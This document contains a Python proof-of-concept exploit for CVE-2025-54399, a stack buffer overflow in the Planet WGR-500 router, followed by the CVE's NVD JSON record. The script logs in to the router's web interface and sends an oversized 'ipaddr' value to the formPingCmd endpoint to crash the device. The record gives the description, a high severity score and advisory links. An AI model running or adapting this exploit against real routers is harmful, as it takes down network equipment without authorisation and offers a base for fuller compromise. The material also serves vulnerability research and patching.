CVE-2025-54399

# CVE-2025-54399 PoC - Planet WGR-500 formPingCmd Stack Buffer Overflow # Vulnerability: Stack-based buffer overflow via 'ipaddr' parameter # Target: Planet WGR-500 v1.3411b190912 # Author: Security Research import requests import sys TARGET_URL = "http://<router_ip>" AUTH_USER = "admin" AUTH_PASS = "<password>" # Step 1: Authenticate to the router web interface session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": AUTH_USER, "password": AUTH_PASS } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Craft malicious ipaddr parameter to trigger buffer overflow # The ipaddr parameter is used in: "ping -c <counts> <ipaddr> 2>&1 > %s &" # Sending an overly long string overflows the stack buffer ping_url = f"{TARGET_URL}/goform/formPingCmd" # Generate overflow payload (adjust length as needed) overflow_payload = "A" * 2048 # Exceeds the fixed stack buffer size ping_data = { "pingCount": "4", "ipaddr": overflow_payload } # Step 3: Send the malicious HTTP request to trigger the vulnerability print("[*] Sending malicious ping request...") response = session.post(ping_url, data=ping_data) print(f"[+] Request sent. Status code: {response.status_code}") print("[!] If the router crashes or becomes unresponsive, the exploit was successful")

{"cve": {"id": "CVE-2025-54399", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:37.450", "lastModified": "2025-11-03T18:16:59.017", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `ipaddr` request parameter for composing the `\"ping -c <counts> <ipaddr> 2>&1 > %s &\"` string."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}